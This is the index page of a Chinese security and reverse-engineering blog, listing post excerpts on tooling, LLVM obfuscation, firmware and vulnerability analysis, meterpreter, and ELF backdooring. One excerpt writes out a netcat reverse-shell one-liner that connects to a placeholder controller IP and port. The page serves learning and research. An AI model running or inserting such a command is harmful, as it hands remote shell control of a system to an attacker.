二进制咸鱼的自我救赎

幸福往往是摸的透彻,而敬业的心却常常隐藏。

About RSS

成为运维带师 - 用 pyinfra 进行自动化运维

#linux #python

每次购买新服务器都要手动配置一堆的基础服务,而且配置过程太无聊了。经过研究和试验之后发现:通过 shell 脚本去执行配置就要被 shell script 的很多坑爹细节坑到,而且 shell scr…

低成本体验 Nix 之 nix-on-droid

#linux #nix

对 Linux 感兴趣的用户应该会接触过很多奇怪的 Linux 发行版,例如使用声明式配置文件配置系统的 NixOS,通过一套配置文件就可以搭建起来一个系统。但是 NixOS 的安装和学习曲线都算比较…

使用 Python 来自动化 gdb 调试

#re #gdb #python

在工作中碰到了很多地方只能用 gdb 进行调试,并且得进行很多冗余的操作。经过资料查询后发现,可以使用 Python 对 gdb 进行 api 调用,但是网上相关文档比较的少,所以本文将记录一些相关操…

类似 Rust 中的 enum (Sum type) 在 C 语言中的实现

#c

在 C 语言中,没有类似 ML 系语言或者 Rust 那样的 enum 实现。所以本文用于记录 C 中那些用于实现这个特性的相关方法,例如 tagged union, tagged pointer, …

WinRAR 最近的 2 个漏洞分析/复现

#re

其实这个漏洞的公告一出来我就开始进行分析了,只是因为空闲时间的利用非常的差,所以分析的很慢,最多就确认了漏洞修复地点。后来大佬们详细的分析就发出来了,所以这篇文章只能算是复现文章了...

使用 Parser combinator 解析 METAR 报文

#python #plt

因为我是骑自行车上下班的,对风向和风速很敏感,然后我住的离机场比较近,于是我想通过机场的天气状况判断下我的通勤是否容易。在翻阅资料后,发现机场的天气是使用 METAR 报文进行发送的,所以我将尝试用 …

海康威视 固件格式/历史漏洞 分析

#re

高中时候曾经当过一段时间的脚本小子,通过 CVE-2017-7921 拿下过一波摄像头,体验了一把游戏看门狗里的感觉。所以在今天,在掌握了一定的技术之后,我将尝试对海康威视的固件进行重新分析。

QEMU 简易配置(CPU/内存/网络/...)

#linux #qemu

从大学开始,我看过了一堆的 QEMU 配置的文章,这些文章要不就是从别的地方复制黏贴出来的,要不就是使用了已经停止维护的工具。所以我决定从网上找一手资料(QEMU Wiki,文档, man qemu,…

meterpreter 简要分析

#python #c2 #rat

meterpreter 是 metasploit 里自带的一款远程控制工具,具有正向/反向连接模式,并且功能强大,所以想分析下其实现。

通过无符号程序的日志函数来恢复函数名字

#ida #python

2023-03-12 更新:添加了使用 ida_hexrays.decompile 的方法

使用编译原理的知识,用 Rust 写一个计算器

#plt #rust

”想写个计算器“这件事情应该是我刚学会 C 语言时候的事情,当时还看不懂栈,逆波兰式等结构。但是现在不一样了,我不仅学过数据结构,还学过了编译原理。这次我就拿学过的编译原理相关知识写个计算器。

关于 C 语言编译的那些破事

#cpp #c #compile

C 和 C++ 的编译是真的痛苦,会出现一堆离谱的问题。所以我特地写一篇文章讲一下这些破事,并且提供一些样例代码方便复制黏贴。

写一个可交互的反弹 Shell

#linux

在网上能看到一堆的反弹 Shell 方法,最常见的就是先用 nc -e /bin/bash $控制机IP $控制机端口 弹出一个 Shell,然后再用 python3 -c 'import pty; …

plt hook 项目代码分析和最小实现

#re #plt #elf

虽然知道可以通过魔改 plt 表实现 hook 函数,但是不知道具体实现...碰巧最近用到了 plthook 这个库,于是我就研究了下 plthook 这个库,并且仿照着这个库重新实现一份代码。

Frida 在一次离谱比赛中的应用

#frida

在某次离谱比赛中,我使用了 Frida 解出了题目,下面是一些简单的笔记。

记录一次失败的固件 fuzz

#pwn #fuzz

这是我第一次对华硕路由器的 httpd 进行 fuzz。结果 fuzz 出来的结果没有经过实机测试,就提交上去了,然后就是华硕的安全团队复现不出来...为什么复现不出来,在本文总结处进行分析。本文主要…

重写 OLLVM 之控制流平坦化

#re #llvm

OLLVM 的控制流平坦化是逆向老哥最讨厌的混淆了,因为一旦使用就代表着 IDA 的 decompiler 彻底报废了。所以了解并在自己的项目中重写控制流平坦化挺重要的。

不同视角看 ROP

#pwn #rop

看了许多讲 ROP 的文章,发现很多只是讲了怎么利用,但是没有讲为什么这么利用。所以写文记录。

CodeQL 体验

#re #codeql

概要 之前在 Twitter 上看到有大佬说 Github Learning Club 上搞了个免费的 CodeQL 课程,课程最终目标是使用 CodeQL 这个语言找出 uboot 中的 9 个漏洞…

斐讯 N1 折腾/避坑笔记

#arm #server

最近想搞一台小服务器来做 Git 服务器,下载 Bt 等事情,所以就在一堆便宜的 ARM 机顶盒/NAS 中间挑选。最后看上了 100 RMB 左右的斐讯 N1,因为 N1 不用拆机就可以刷机。

LC3-VM 学习和实现

#vm

本文是根据 https://justinmeiners.github.io/lc3-vm 和 https://justinmeiners.github.io/lc3-vm/supplies/lc3-i…

在 LLVM 代码树外编译 LLVM Pass (使用 OLLVM 示范)

#re #llvm

在网络上流传的编译 LLVM Pass 都需要一份 LLVM 源码,从整个源代码编译,编译非常花时间 (i7 6700HQ 使用 make -j8 编译整个项目花了近 50 分钟),所以在翻阅文档时发…

给 ELF 文件加上后门

#re #mal #backdoor

在渗透测试中,给常用的可执行文件加上后门是很常见的操作。但是之前的加后门 "The backdoor factory" 已经不维护了,而且还是 Python2 写的,代码质量也...所以我自己尝试着重…

使用 LLVM Pass 实现字符串加密

#re #llvm

这个项目可以作为我看了这么久 LLVM 的 Docs 助眠的一个小总结吧。这个项目主要就是给函数使用的常量字符串进行加密,在程序被静态分析的时候干扰分析。当然找到思路后,这个混淆还是很容易解开的。

重写 OLLVM 之虚假控制流

#re #llvm

由于我个人觉得 OLLVM 的代码年久失修,所以就新建了个项目,开始学习并重写 OLLVM。项目地址:https://github.com/chenx6/baby_obfuscator。如果将我的重写…